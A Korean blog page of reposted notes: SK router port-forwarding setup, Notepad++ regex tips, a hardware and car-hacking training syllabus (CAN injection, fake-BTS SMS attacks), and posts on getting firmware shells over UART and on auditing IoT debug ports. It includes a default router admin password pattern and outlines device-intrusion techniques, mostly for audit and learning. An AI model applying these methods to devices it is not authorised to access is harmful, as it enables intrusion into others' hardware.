http://www.codns.com/b/B05-234

 
모뎀이나 회선이 단독으로 연결된 경우  컴퓨터 방화벽만 열어줘도  서버 프로그램 운영이 가능하지만 공유기 사용자의 경우에는 공유기 또한 열어 주어야만 서버 프로그램 운영이  가능합니다.  하나의 인터넷 회선을 나누어 쓰는 공유기의 경우   모뎀까지는 공인IP이지만  공유기 밑은 내부용IP(사설IP)이기 때문에 외부의 요청을 내부 컴퓨터로 전달할 수 없습니다.  
 
이럴 경우  공유기에  서버 프로그램이 사용하는 내부 IP와 포트 번호로 이루어진 연결 규칙을 미리 등록하여 두고  외부에서 해당 포트번호를 찾으면  연결된 내부IP로 전달하여 서버 프로그램을 찾을 수 있게 하는 방법을 사용하면 됩니다
 
 
 
 
 
유기에 이러한 연결 규칙을 설정하는 방법은 대략 네 가지가 있습니다.  첫 번째는 UPnP(Universal Plug and Play)방식,  두 번째는 포트 포워딩/Port Mapping/Virtual Server/Local Server 방식,  세 번째는  포트 트리거(Port Trigger)방식,  네 번째는  DMZ /Super DMZ설정방식이 있습니다.  전문가라면 포트포워딩 설정을 권장하며,  만약  일반 사용자이거나, 공유기의 관리자 화면 접근이 어려운 환경이라면 UPnP(Universal Plug and Play)  방식을 권장합니다.
 
포트 포워딩 방식으로  공유기 설정을 하시려면 먼저 설정 시  필요한 내부 IP와 포트번호, 그리고  공유기의 접속 주소를 각각 확인하여 주십시오. 컴퓨터의  내부용 IP(사설 IP)와 공유기 접속 주소를  확인하시려면, 윈도우 컴퓨터의  [시작 버튼]  ▷ [windows 시스템]  ▷  [명령 프롬프트] 에서 "ipconfig"을 입력하면  아래의 화면과 같이  IPv4 주소 ( 내부 IP)와 기본 게이트웨이 ( 공유기 IP)주소를 확인할 수 있습니다. 그리고 포트 번호의 경우에는 운용할 서버 프로그램의 환경설정을 참조하거나,  주요 서비스 포트 표를 참조하여 확인하십시오.  만약 포트번호 확인이 안되는 경우에는 DMZ 방식으로 설정 하셔야만 합니다,   

 
내부 IP와 포트번호, 그리고  공유기의 접속 주소를 확인하셨다면, 다음과 같이 입력하십시오.  일반적으로  SK 공유기는 웹 브라우저 주소 창에  http://192.168.25.1 또는 위에서 확인한 기본 게이트웨이 주소를  입력하면  공유기 로그인 창으로 이동합니다. ②  로그인 창에 관리자 아이디는  admin 비밀번호는 "공유기 뒷면 유선 MAC주소 끝에서 6자 " 와 "_admin"을 붙여 입력하거나, 아래의 리스트를 참조하여 입력합니다. ③ 로그인 후  방화벽  ▷  포트 포워딩 설정 화면으로 이동하여  아래 ④ 의 예시와 같이 등록하시면 됩니다. 
 
 SK 공유기 별  설정 정보 참조 표  전체 목록 보기
-
 SK 공유기에 웹 서버 / 서비스용 설정을 등록할 경우의  예시입니다. 참고로 SK 경우에는 80, 25번 등이 원천적으로 설정할 수 없는 경우가 대부분입니다. 따라서 코디엔에스의 웹 서버 우회 포트인 9000포트( 코디엔에스 포트 포워딩 )를 사용하는 예시로 설명하겠습니다. 
 
아래의 그림과 같이,  서비스 포트에는  웹 서버 / 서비스의 우회 포트인 9000 ~ 9000,  프로토콜은 TCP 선택  내부 IP주소는  웹 서버 / 서비스가 설치된 컴퓨터의 IPv4주소인 192.168.25.2   포트(내부 포트)에는  9000,  설명에는 임의로 "HTTP"를 입력하고  적용,저장하시면 설정이 모두 완료됩니다.  가급적  테스트는 핸드폰 ITE망 또는 코디엔에스 진단 도구와 같은 외부 망으로 테스트하시기를 권장합니다. 
 
 
 
 참고 - 포트 포워딩 입력 항목은    서버 프로그램이 사용할 포트번호를 내부 포트, 외부 포트, 포트의 범위에 입력하게 되며. 보통의 경우, 위의 그림과 같이 모두 동일하게 입력하면 됩니다.    서버 프로그램이 설치된 내부IP주소(IPv4 주소)로 위에서 확인한 주소를 입력하면 됩니다.   서버 포트의 프로토콜로 보통 TCP를 선택하시거나 아래의 포트 표를 참조하여 선택하십시오.    이름 또는 설명을 입력하는 것으로 편하신 대로 입력하면 됩니다. 그 외 항목은 입력하지 않아도 됩니다.   주요 서비스 포트 표
일반적인 포트 포워딩 설정 항목
설명 - 임의로 입력 가능하며 구분이 쉽도록 입력합니다. (예, HTTP )
내부 IP 주소 - 서버 프로그램/어플리케이션이 설치된 컴퓨터의 내부IP(사설IP)주소를 입력합니다. (예, 
192.168.25.2)
프로토콜 - Protocol Type (TCP/UDP)을 선택 합니다. 대부분 TCP이며, 53번의 경우는 UDP를 사용합니다.
서비스 포트 - 외부 접속 시 사용되는 내부 
서버/컴퓨터에 설치된 서버 프로그램/어플리케이션의 포트(또는 포트 범위)를 입력합니다. (예, 9000-9000)
포트 - 내부 서버/컴퓨터에 설치된 서버 프로그램/어플리케이션 포트(또는 포트범위)를 입력합니다.지정된 컴퓨터로 외부포트에서 연결해 주었을 떄, 그 지정된 내부 서버/컴퓨터에서는 어떤 포트를 사용할 것인지를 지정합니다.(예, 9000)

만약 서버 포트를 모를 경우에는  방화벽   DMZ으로 이동하여 DMZ 에 체크하고,  DMZ 호스트 IP주소에는 서버 프로그램이 설치된 컴퓨터의 IP(예, 192.168.25.2)를 입력하면 됩니다. 본 설정은 외부에서의 모든 포트 요청을 내부IP (예, 192.168.25.2 ) 로 연결하라는 의미의 설정입니다.
주의 - 포트 포워딩 설정과 DMZ설정 중, 하나만 설정하실 것을 권장합니다. DMZ설정방식은 1개의 내부 컴퓨터에만 적용되어도 될 경우에 사용하십시오. 여러 대의 컴퓨터에 각각의 적용이 필요하다면 포트 포워딩 방식을 사용하셔야 합니다.. DMZ / SuperDMZ 설정참조




유기 2개를  연결하여 사용하는  경우에는  아래의 그림과 같이 통신회사에에 직접 연결된  1번 공유기는 DMZ설정으로 이동하여 DMZ IP주소 입력란에 2번 공유기의 내부IP를 입력하고, 2번 공유기는 위의 일반 포트 포워딩 설정과 동일하게 설정하시면 됩니다.  만약 1번 공유기가 설정이 불가능한 타입의 장비인 경우  통신사에 문의하거나, 장비 교체를 요청하십시오.  ▶ 2개 공유기 포트 포워딩 설정 참조



 설정을 마치셨다면,  코디엔에스 진단 도구로 이동하여 외부에서  서버 프로그램으로 접속이 가능한지를  직접 확인해 보실 수 있습니다.  홈페이지 ▷ 진단 도구 ▷ 서비스 포트 스캔을 통해 설정하신 포트가 열려 있는지를 다시 한번 확인하십시오 
 
 
 
예시 : 공유기의 포트 포워딩 설정을 통하여  9000번 포트의 설정을  마치셨다면,  그림과 같이 포트 스캔 페이지로 이동한 후,고객님의 주소인  id.codns.com을 입력하고,.사용자 지정 포트에 9000을  입력한 후, 포트스캔버튼을 클릭하면 결과가 표시됩니다.
웹 서버가 운영 중( 웹 서버 포트의 기본 포트를 9000번으로 적용 시 ) 이라면, "사용 중"이 나타나며, 아직 웹 서버가 운영 중이 아니라면, "사용가능"으로 나타나게 됩니다. 이것은 공유기 설정이 모두 정상임을 의미합니다. 만약  "차단 상태" 로  조회된다면, 위의 공유기 설정 과정을 점검 하셔야 합니다. 만약 점검 후에도  문제가 여전 하다면, 윈도우 방화벽 미 설정. 또는 통신회사가 포트를 차단한 경우로    방화벽가이드 참조하거나 통신회사에 문의하셔야 합니다.


 공유기 내부에서만  DDNS주소를 못 찾는 오류가  갑자기 발생한다면  공유기의 NAT loopback ( 또는 Hairpin NAT ) 기능의 일시적 오류일 수 있습니다.  이럴 경우에는 공유기를 재부팅하여 일정시간 경과 후 재실행하시면 됩니다. 여전히 오류가 있다면  윈도우 "호스트"파일  강제설정이 도움이 될 수 있습니다.  호스트파일 설정   


정에 어려움이 있다면, 고객에게 무료로 제공되는 전화 콜 백 서비스 / 원격지원 서비스로 문제를 해결할 수 있습니다.   1:1 친절 상담에  고객님이 편한 시간과 연락처, 그리고 해결해야 될 문제들을  작성해주시면 코디엔에스 전문상담 팀이 고객님의 편한 시간에   직접 전화 방문하여 문제들을 해결해 드리도록 하겠습니다.    원격지원 서비스가 필요하시다면  먼저 고객센터(1566-6346번)에서 서비스 넘버를 받으신 다음,  컴퓨터의 시작버튼을 누르고  프로그램  리스트 중에서    코디엔에스 3  ▷  코디엔에스  원격지원을  클릭하여 서비스 지원을 받으시면 됩니다.

'경로 및 정보' 카테고리의 다른 글

IP 찾기 BGP 대역  (0) 2023.01.09
Windows 10 FTP 서버 설정  (0) 2022.12.24
notepad 문자열 앞뒤 추가  (0) 2022.12.09
notepad++ 빈줄제거 및 공백조절  (0) 2022.12.09
그레이해쉬 하드웨어 커리  (0) 2022.11.04
블로그 이미지

wtdsoul

,

 

글자 앞뒤에 텍스트 일괄 추가 방법(윈도우 프로그램 Notepad++) (tistory.com)

 

글자 앞뒤에 텍스트 일괄 추가 방법(윈도우 프로그램 Notepad++)

안녕하세요. 이만가지 오만가지 입니다. 가끔 문서 작업을 하다 보면 일괄로 문자 앞뒤에 글자를 입력해야 하는 일이 자주 발생합니다. 엑셀에서 가능하지만 함수를 사용하는 것보다 좀 더 간편

ttps2line.tistory.com

 

 

'경로 및 정보' 카테고리의 다른 글

Windows 10 FTP 서버 설정  (0) 2022.12.24
에스케이 공유기 포트 포워딩 설정하기  (1) 2022.12.24
notepad++ 빈줄제거 및 공백조절  (0) 2022.12.09
그레이해쉬 하드웨어 커리  (0) 2022.11.04
brocade_switch  (0) 2022.10.28
블로그 이미지

wtdsoul

,

notepad++ 에서 빈줄제거 및 공백조절(제거)방법 (tistory.com)

 

notepad++ 에서 빈줄제거 및 공백조절(제거)방법

간단한 방법으로 Notepad++ 에서 빈줄과 공백을 제거 할 수 있다.빈줄 제거를 시작으로 설명을 시작한다.1. 먼저 마우스 드래그나 Shift+화살표, CTRL+A 키로 특정 영역을 선택한다.그림에서는 'CTRL+A'

withserver.tistory.com

 

간단한 방법으로 Notepad++ 에서 빈줄과 공백을 제거 할 수 있다.

빈줄 제거를 시작으로 설명을 시작한다.

1. 먼저 마우스 드래그나 Shift+화살표, CTRL+A 키로 특정 영역을 선택한다.

그림에서는 'CTRL+A' 키로 전체 영역을 선택했다. (붉은 사각형부분은 일부러 삽입한 공백)

 

 

2. 'CTRL+H' 키를 눌러 바꾸기 창은 연다. (메뉴의 찾기 - 바꾸기 )

찾을단어 부분은 ^\r\n 을 입력, 바꿀단어부분은 아무것도 입력 하지않고, 찾기방식을 '정규표현식' 으로 체크 후 '모두바꾸기' 버튼을 클릭한다.

 

3. 12회의 찾아서 바꾸기 작업을 수행이 잘 끝났다는 메세지

 

 

4. 빈줄제거작업이 완료 된 결과

 

 

 

5. 이번에는 공백을 적당히 조절하는 방법인데, 공백 두개를 찾아서 한개로 바꾸는 작업이다.

'찾을단에' 부분에는 공백 두개를 입력하고, '바꿀단어; 부분에는 공백을 한개 입력한다.

 

 

 

6. 공백두개 -> 공백한개로 변환한 결과이다.

 

 

 

7. 공백두개 -> 공백한개로의 변환작업을 5회 반복한 결과.

 

 

찾아서 바꾸는 편집기의 기능을 활용하여 큰 문서작업을 손쉽게 하는 요령중의 하나인데, 다른 편집기나 툴들을 이용하는 방법도 많이 있으니 취향에 맞게 쓰면 되겠다.

공백의 길이가 길거나 빈줄이 여러개 이상 연속된다면 'CTRL+A' 'CTRL+H' 키를 여러번 눌러야되는데, 이때는 찾을 문자열에 \r\n\r\nr\r\n 이나 공백세개이상을 입력하는 방식으로 반복횟수를 늘릴 수 있다.

 

* 참고 : 정규표현식

텍스트를 검색, 치환, 추출할때 사용하는 방식인데 주로 유닉스계열에서 많이 사용하다가 지금은 많이 일반화되어 웬만한 OS나 프로그래밍언어에서는 대부분 지원한다. 

다만 OS, 프로그래밍언어별로 약간씩 차이가 있어 사용상 주의가 필요하다.

위의 예에서 나온 ^ 는 라인의시작을 뜻하는 문자이고, \r\n 은 윈도우계열에서 사용하는 개행문자이다.

빈줄의 경우 화면에는 아무것도 없는것으로 보이지만 실제로는 개행문자(\r\n)가 존재하는것이니 라인 시작부분을 확인하여 개행코드이면 빈줄로 인식하여 삭제하는 방법으로 빈줄삭제가 가능한것이다.

 

* 참고 : 각 OS별 개행코드

윈도우 : \r\n

UNIX : \n

MAC : \r

'경로 및 정보' 카테고리의 다른 글

에스케이 공유기 포트 포워딩 설정하기  (1) 2022.12.24
notepad 문자열 앞뒤 추가  (0) 2022.12.09
그레이해쉬 하드웨어 커리  (0) 2022.11.04
brocade_switch  (0) 2022.10.28
CAN 통신 강의  (0) 2022.10.28
블로그 이미지

wtdsoul

,

  https://grayhash.com/html/Training.html

 

Offensive Security Research Center 그레이해쉬 홈페이지에 오신 것을 환영합니다.

GrayHash는 다음과 같은 해킹/보안 트레이닝 코스를 상시 운영합니다. GrayHash의 강사들은 국내 대기업, KITRI BoB 및 기타 정부기관에서의 강의 경력을 가지고 있으며,강사마다 갖고 있는 전문지식을

grayhash.com

 

1일차 - 기초 펌웨어 개발
    
    • 실습 장비 Grayhash DanbiBoard-BASIC 소개 및 Spec 설명
    • Firmware, Bootloader, OS, Filesystem의 이해
    • CPU 관점에서 본 부팅 과정의 이해
    • 실습 : 펌웨어 개발 환경 구축
    • 펌웨어 코드 작성 이론 설명
    • 실습 : 기본 펌웨어 개발 및 퓨징
    • 펌웨어 코드 분석 및 GPIO의 이해
    • UART를 이용한 DEBUG 메시지 출력
    • 해커의 관점에서 본 UART 프로토콜
    • 실습 : LED 등 주변장치 제어
    • 하드웨어 통신 프로토콜 I2C의 이해
    • 마무리 실습 : Character LCD 제어


    2일차 - 리눅스 시스템 개발

    • 실습 장비 Grayhash DanbiBoard-EDU 소개 및 Spec 설명
    • 부트로더(Bootloader)의 이해
    • 메모리, 메모리 컨트롤러 및 메모리 맵의 이해
    • 해커의 관점에서 본 메모리 맵
    • DDR2 RAM 초기화 방법에 대한 이해    
    • 실습 : RAM 초기화 및 RAM 테스트    
    • U-BOOT의 구조 및 커널 로딩 과정의 이해     
    • 실습 : U-BOOT 포팅 및 퓨징    
    • 부트로더를 이용한 펌웨어 업그레이드    
    • 해커의 관점에서 본 부트로더 (부트로더 보안체계 우회 사례들)
    • 실습 : Linux Kernel 컴파일 및 퓨징    
    • Root File System의 이해    
    • 실습 : Root File System 빌드 및 퓨징
    • 해커의 관점에서 본 Root File System
    • 리눅스 부팅 과정 및 파티션 구조의 이해
    • 마무리 실습 : 리눅스 시스템 부팅


    3일차 - 개발보드의 활용

    • 실습 장비 Grayhash DanbiBoard-PRO 소개 및 Spec 설명
    • 디바이스 드라이버의 이해        
    • 실습 : 디바이스 드라이버를 통한 주변장치 제어
    • 하드웨어 통신 프로토콜 SPI의 이해
    • 해커의 관점에서 본 SPI 프로토콜
    • TFT-LCD 디스플레이 연결    
    • Frame Buffer의 이해
    • 실습 : Frame Buffer 장치를 이용한 TFT-LCD 제어
    • 실습 : mp3 음원 및 동영상 재생
    • USB 시스템 작동 구조의 이해
    • 실습 : USB 키보드 및 랜카드 연결
    • Ethernet 시스템 작동 구조의 이해
    • 실습 : 네트워크 연결
    • 마무리 실습 : 게임 에뮬레이터 실행하기

------------------------------------------------------------

1일차 - AVR Programming
    

    [AVR 프로그래밍]
    • MCU(Micro Controller Unit)의 이해
    • Atmega128A MCU 소개
    • 개발 도구(Atmel studio 6.2) 설치
    • ISP(In-System Programming)의 이해
    • 범용/특수 입출력 포트의 이해
    • LED, 모터, 스피커 제어 실습
    • 7-Segment 및 Dot Matrix 제어 실습
    • 온도 센서 제어를 통한 ADC의 이해
    • 디지털 온도계 제작 실습
    • UART 통신 실습
    • 트랜지스터를 이용한 증폭 작용 실습
    • 스위치를 이용한 입력 핀 사용 실습
    • 인터럽트와 타이머의 이해
    • PWM(Pulse Width Modulation)의 이해
    • IrDA(적외선)을 이용한 무선 통신 실습
    • AVR Firmware 추출하기
    • AVR과 Arduino의 관계 이해
    • Arduino 프로그래밍 실습


    2일차 - UART&JTAG Hacking

    [UART Hacking]
    • 하드웨어 레벨 프로토콜의 이해 : UART, I2C(2-wire, TWI), SPI
    • UART Programming의 이해
    • Logic Analyzer를 이용한 UART 프로토콜 분석 실습
    • UART Pin 찾기 실습
    • 유무선 공유기 UART 연결 실습
    • Baudrate 분석 실습
    • 스마트폰(갤럭시S) UART 연결 실습
    • UART 쉘을 이용한 바이너리 추출 실습
    • 각종 기기들에 대한 UART 연결 시연 (스마트 TV, 홈 네트워크 시스템, CCTV, NAS 장비)
    • UART 해킹 case by case

    [JTAG Hacking]
    • JTAG의 개념 및 작동 원리 이해하기 (TDI, TDO, TCK, TMS, TRST)
    • TAPC(Test Access Port Controller) 상태도 이해하기
    • JTAG 실전 활용 예제
    • 상용 JTAG 툴 소개 : Riffbox Jtag, H-JTAG, AD-JTAG
    • JTAG Pin Scanning : Jtagulator, JTAGenum
    • JTAG을 이용한 펌웨어 획득 실습
    • JTAG을 이용한 동적 디버깅 실습


    3일차 - Flash Memory 덤프 실습

    • Flash Memory 기초
    • Winbond W25Q16BV Flash Memory의 이해
    • 마이크로 프로세서 GPIO Handling 실습
    • SPI 프로토콜의 이해
    • Flash Memory Dumper 개발 실습
    • Desoldering 실습
    • Winbond W25Q16BV Serial Flash Memory Dump 실습
    • 8-pin Test-clip 활용 실습
    • Dump된 Firmware Image 분석 및 바이너리 파일 추출 실습


[Hardware]
    • AVR 개발 키트(jmod-128-1)
    • UART, JTAG 장비
    • 점퍼 케이블, 빵판 및 각종 센서들

------------------------------------------------------------


    1일차 - CANbus Hacking
    
    • CAN(Controller Area Network) 통신의 이해
    • ECU(Electronic control unit)의 이해
    • CANbus lines 연결하기 실습
    • CANbus Hacking Tool 개발 실습
    • CAN Message Sniffing 실습
    • CAN Message 송신(Injection) 실습
    • CAN Message 포맷의 구조 이해
    • CANbus Controller와 Transceiver의 이해
    • Car Network 종류들의 이해
    • 차량진단 표준의 이해와 해킹 관점에서의 활용
    • 실제 차량의 OBD-II 포트와 연결하기 실습
        
    • 주요 자동차 해킹 사례 및 취약점 발생 원리 분석
        • 2010 - Experimental Security Analysis of a Modern Automobile
        • 2011 - Comprehensive Experimental Analyses of Automotive Attack Surfaces
        • 2013 - Adventures in Automotive Networks and Control Units
        • 2014 - A Survey of Remote Automotive Attack Surfaces
        • 2015 - Remote Exploitation of an Unaltered Passenger Vehicle
        • 2015 - How to Hack a Tesla Model S
        • 2015 - Broadcasting Your Attack: Security Testing DAB Radio In Cars
        • 2015 - Drive it like you Hacked it: New Attacks and Tools to Wireles
        • 2016 - Advanced CAN injection technique for vehicle networks
        • 2016 - Car Hacking Research: Remote Attack Tesla Motors
        • 2017 - The CIA may be hacking cars

    • 자동차 Attack Vector의 이해
        • Hardware Vulnerabilities Analysis (UART/JTAG/OBD-II)
        • Audio/Video/Navigation Device Vulnerabilities Analysis
        • Smart Device Vulnerabilities Analysis
        • Telematics Device Vulnerabilities Analysis
        • ETC : Web Browser, Smartphone APP, Radio Data System, Cloud Server
    

    
    2일차 - Infotainment System Hacking

    • Bluetooth based Car Hacking
        • Bluetooth 기초 (master/slave, piconet, bluetooth stack)
        • Bluetooth module 사용 실습
        • Bluetooth Packet 송수신 실습
        • Bluetooth Packet sniffing 실습
        • Bluetooth Profile의 이해
        • Bluetooth Profile Scanning 실습
        • 차량용 디바이스의 주요 Profiles
        • 차량의 주요 Bluetooth 관련 기능들
        • 차량의 Bluetooth Packet Sniffing 및 분석
        • 차량 Bluetooth의 주요 Attack Vectors
        • Bluetooth Packet 변조 실습

    • USB based Car Hacking
        • 차량 USB의 주요 Attack Vectors
        • USB(Universal Serial Bus) 기초
        • Beagle USB 480을 이용한 USB Packet Sniffing
        • 주요 USB Packets 분석(Device, Configuration, Interface, Endpoint, String Descriptor)
        • USB Packet Fuzzing 환경 구축
        • OrangePi를 이용한 USB fuzzer 개발
        • Linux USB Gadget의 이해
        • USB Stack Fuzzing
        • USB based OS File system Fuzzing
        • USB based Multi-media file Fuzzing
    
    
    
    3일차 - Telematics System Hacking

    • TCU(Telematics Control Unit)의 이해
    • SMS PDU 포맷의 이해
    • PDU 포맷 분석 실습
    • PDU 데이터를 이용한 SMS 전송 실습
    • Modem device를 이용한 SMS 전송 실습
    • 보내는 SMS와 받은 SMS의 PDU 필드 값 비교
    • MMS(Multimedia Messaging Service) 전송하기
    • PDU-Header 및 TP-UDHI 필드의 이해
    • IEI(Identity Element Identifie)와 Application Port의 이해
    • SMS Hacking 사례 분석
    • SMS Fuzzing 환경 구축
    • Android telephony stack의 이해
    • SMS 수신 시의 데이터 흐름 경로 분석 및 Fuzzing 지점 선정
    • SMS Fuzzer 개발 방법의 이해
    • Fake BTS를 이용한 SMS attack (USRP + OpenBTS)
    

'경로 및 정보' 카테고리의 다른 글

notepad 문자열 앞뒤 추가  (0) 2022.12.09
notepad++ 빈줄제거 및 공백조절  (0) 2022.12.09
brocade_switch  (0) 2022.10.28
CAN 통신 강의  (0) 2022.10.28
[Windows - Tip] 무료 대용량 텍스트 파일 읽기 프로그램  (0) 2022.10.27
블로그 이미지

wtdsoul

,

 

UART로 펌웨어 접근해보기 (tistory.com)

 

UART로 펌웨어 접근해보기

장비들의 펌웨어를 얻는 방법은 여러가지가 있다. 1. 제조사가 제공하는 펌웨어 받기 제조사에서는 펌웨어의 주기적인 패치를 내놓고 그것을 자신들의 홈페이지에서 제공하는 경우가 왕왕 있다

laoching.tistory.com

 

장비들의 펌웨어를 얻는 방법은 여러가지가 있다.

1. 제조사가 제공하는 펌웨어 받기

제조사에서는 펌웨어의 주기적인 패치를 내놓고 그것을 자신들의 홈페이지에서 제공하는 경우가 왕왕 있다.

보안적인 측면에서 권장 사항은 자체적으로 업데이트를 하는 것인데, 그 이유로는 낮은 버전의 펌웨어를 사용자 임의로 올려버릴 수 있기 때문이다.

2. 자동/수동 업데이트 시 network packet sniffing

요즘 나오는 기기들을 보면 거의 다 자체 앱이 있고 거기서 업데이트를 지원한다. 업데이트를 눌러놓고 패킷을 스니핑해보자. 사실 이 방법은 요즘에 나온 기기들이라면 거의 다 불가능하다.

제조사마다 업데이트 서버와 통신을 할텐데 암호화 통신을 한다면 우리는 중간에 패킷을 가로채도 펌웨어 파일을 찾을 수 없기 때문

network pacekt capture는 wireshark나 network miner 같은 툴이 있는데, 이 프로그램들에서 파일을 뽑는 방법은 각각 다르다.

wireshark는 File - Export Objects 메뉴에서 가능하고 network miner는 그냥 pack capture만 해도 파일을 뽑을 수 있다.

network miner가 이 부분에서 간편하다고 생각한다.

3. UART나 JTAG 같은 디버깅 포트를 이용한 shell 접근

이 방법을 이용하기 위해서는 장비의 회로 기판을 뜯어봐야 한다. 운이 좋으면 돌출되있고 RX, TX라고 적혀있는 핀을 바로 찾을 수 있을텐데 그게 바로 UART pin이다.

권장 보안 정책은 회로 기판을 구성하고 있는 녀석들의 식별이 불가능하도록 마스킹을 지우고, 돌출되어 있는 핀들을 없애야 한다. 

또 이 핀과 통신하기 위해서는 'USB to TTL'이라는 장비가 필요하다. 장비라고 해서 그렇지 그냥 케이블이다.

 

실제 장비에서 UART PINUSB to TTL

위에 회로들을 보면 돌출되어 있는 경우도 있고 2번째 사진처럼 돌출된 부분이 없는 경우가 있다. 그 경우에는 'USB to TTL'의 피복을 벗겨서 접촉시키던지 해야한다.

그리고 각 핀마다 전원, 접지, RX, TX 역할을 하기 때문에 회로에서 각각의 핀 식별과 'USB to TTL'에서도 식별을 해야한다.

RX, TX는 아래와 같이 연결해줘야 한다.

A와 B가 연결한다면 A의 TX는 B의 RX에, A의 RX는 B의 TX에 연결해주자.

Receive, Transmit의 약자입니다... 받고..보내는...그런..

UART로 컴퓨터와 통신해보자

만약 RX, TX도 제대로 붙이고 컴퓨터에 연결했다면 putty나 Xshell 같은 프로그램으로 serial 통신을 해봅시다.

serial 통신을 할 경우에는 baudrate라는 것을 맞춰줘야 합니다. baudrate는 초당 보내는 데이터의 수를 의미하고 UART에서는 high/low를 구분할 수 있는 clock 역할을 합니다.

만약 장비의 baudrate와 맞지 않게 설정을 하면 아래와 같이 나옵니다. 알아볼 수 없는 녀석들이 나옵니다.

baudrate를 찍어서 맞췄다면 아래처럼 알아볼 수 있는 글자들이 나옵니다.

운이 좋으면 바로 shell을 얻고 펌웨어 분석이 가능하지만, 제가 분석한 장비는 바로 shell을 얻을 수 없었습니다.

여러분들은 출시된지 오래된 장비를 뜯어보세요..

 

4. MCU의 TX, RX에 직접 접근해보기

만약 회로 기판에 UART, JTAG가 없다면 어떡하냐... 바로 MCU에 직접 접근해야 합니다. 회로를 보면 MCU(micro control unit)가 보일겁니다. 검정색 등딱지에 다리를 엄청 많이 가진 녀석입니다. 

이 녀석이 머리입니다. 모든 기능을 담당하는데요, 아래는 제가 분석한 장비에 있던 MCU의 data sheet입니다.

MCU를 보면 품명이 적혀있을겁니다. 그것의 data sheet를 얻어내면 각 핀의 역할을 알 수 있고 직접 접근이 가능합니다.

너무 오래된 녀석이면 data sheet 구하기가 쉽지는 않습니다. 근데 오래된 장비면 UART 식별이 쉽게 가능해서 이 단계까지 오지 않을 겁니다.

5. Flash memory desoldering 후 dump

최후의 보루입니다. 회로에서 Flash memory를 납땜을 녹여서 제거해내고 data sheet를 참고해서 아두이노나 라즈베리파이에 연결해서 덤프를 뜨는 겁니다. 

Flash memory 안에 있는 모든 것들을 볼 수 있기 때문에 확실한 방법이긴 한데요, 다시 재조립해서 무사히 동작한다는 보장이 없습니다. 인두기, 땜납 등 특수한 장비가 필요하기도 합니다.

블로그 이미지

wtdsoul

,

[IoT 기기 진단] UART 디버깅 포트 점검 (소개) (tistory.com)

 

[IoT 기기 진단] UART 디버깅 포트 점검 (소개)

(허가 되지 않은 점검도구 활용 스캔은 법적 문제 소지가 있으니 주의!) 개인적으로 IoT 기기 진단 또는 IoT 보안 점검을 분류하면 크게 아래처럼 나눌 것 같습니다. 1. Device : IoT 기기의 물리적 보

tech-dailylife.tistory.com

 

 

개인적으로 IoT 기기 진단 또는 IoT 보안 점검을 분류하면 크게 아래처럼 나눌 것 같습니다.

1. Device : IoT 기기의 물리적 보안 조치 (디버깅 포트 제거, 장비 접근 보호 등)

2. Firmware : IoT 기기 펌웨어 암호화, 내부 정보 유출, 바이너리 분석 등 

3. Network : NW단의 트래픽 성능이나 DDoS에 대한 대응 점검 (트래픽 발생기 활용)

4. Service : IoT와 연동되는 웹 또는 모바일 페이지 점검 (OWASP Top10 등 웹, 모바일 취약점)

 

그 중에 Device 부분은 개발을 위한 디버깅 포트를 통해 공격을 시도해볼 수 있습니다.

이런 취약점 포인트인 디버깅 포트로는 대표적으로 UART와 JTAG가 있습니다.

 

이 포스트에서 UART 포트를 통한 점검 방법에 대해 전부는 아니지만 실무 경험을 바탕으로 포스팅해볼꼐요.

 

[UART 란]

Universal asynchronous receiver/transmitter의 약자로 범용 비동기 송수신기 입니다.

병렬 데이터 형태를 직렬 데이터 형태로 전환하여 데이터를 전송하는 시리얼 통신 규격 입니다.

 

- UART 핀 종류

아래와 같이 4가지 PIN으로 구성되며 해당 전압이 각각 조금씩 다흡니다.

전원을 공급하는 VCC가 존재하며, 전압을 맞추는 GND가 존재합니다. 

 

보통은 전원 공급은 기기나 PC에서 지원되기 때문에 VCC 포트는 연결하지 않아도 무방합니다.

따라서 아래와 같이 점검도구 쪽의 UART 포트 RX와 점검대상 기기 쪽의 UART 포트 TX를 연결하고

반대로 점검도구 쪽의 TX와 점검대상 기기 쪽의 RX를 연결합니다. 그리고 GND 끼리 연결해 전압을 맞춥니다.

[점검 목적]

UART 디버깅 포트를 통해 중요정보 또는 시스템 정보 획득이 가능하며, 부트로더 접근이 가능할 경우 더 큰 위험에 노출되기 때문에 사전에 점검해야 합니다.

위험에 노출될 경우 디버깅 Root Shell을 통해 관리자 권한이 탈취될 수 있으며, 추가로 덤프를 통한 기기의 펌웨어 획득이나 시스템 변조, 중요 정보 탈취 통해 2차 공격으로 이어질 수 있습니다.

 

[개선 방법]

UART 포트는 일반적으로 상용에 배포될 때는 제거하고 출시하는 것이 안전하며,

부득이하게 존재할 경우에 1차적으로 물리적인 실링 처리를 하는 조치가 있으며, 2차적으로는 접근하는 디버깅 쉘에 히든키(Magic Key)와 인증키를 적합하게 사용하여 불법적인 접근을 방지하는 것이 안전합니다.

 

 

[점검 장비]

먼저, UART 연결을 위한 통신 도구인 AD-USBISP가 필요합니다. (USB 형식이 아닌 도구들도 있는 걸로 알고 있어요.)

그리고 연결을 해줄 점퍼 케이블이 필요합니다. 

 

- AD-USBISP V03.6

- 점퍼 케이블

위 두가지를 모두 연결 해놓은 세트로 구비하는 것이 좋은 것도 같습니다.

 

 

그리고, 기기에서 UART 포트를 탐색하기 위해 멀티 테스터(멀티 미터)가 필요합니다. 육안으로 구별할 수 있다면 필수는 아니지만 보조 도구로 필요합니다.

추가로 IoT 기기를 분해할 수 있는 드라이버나 UART 포트 핀, 점퍼를 고정해야 한다면 인두가 필요할 수도 있습니다.

 

 

(허가 되지 않은 점검도구 활용 스캔은 법적 문제 소지가 있으니 주의!)

 

 

다음 포스트를 통해 점검하는 기본 시나리오를 포스팅 할께요.

블로그 이미지

wtdsoul

,

 

[IoT 기기 진단] UART 디버깅 포트 점검 (포인트) (tistory.com)

 

[IoT 기기 진단] UART 디버깅 포트 점검 (포인트)

(허가 되지 않은 점검도구 활용 스캔은 법적 문제 소지가 있으니 주의!) 지난 포스트에 이어서 이번에는 UART 디버깅 포트의 점검 포인트를 알아보겠습니다. IoT 기기 보안점검 중 UART 디버깅 포트

tech-dailylife.tistory.com

 

지난 포스트에 이어서 이번에는 UART 디버깅 포트의 점검 포인트를 알아보겠습니다.

 

IoT 기기 보안점검 중 UART 디버깅 포트 점검을 할 때, 개인적으로 중요하다고 생각하는 포인트입니다.

 

 

[점검 Point 01. UART 포트 불필요 존재]
UART 포트의 존재 유무
를 확인하고 실제 필요에 의해 사용하는지 여부를 인터뷰를 합니다.

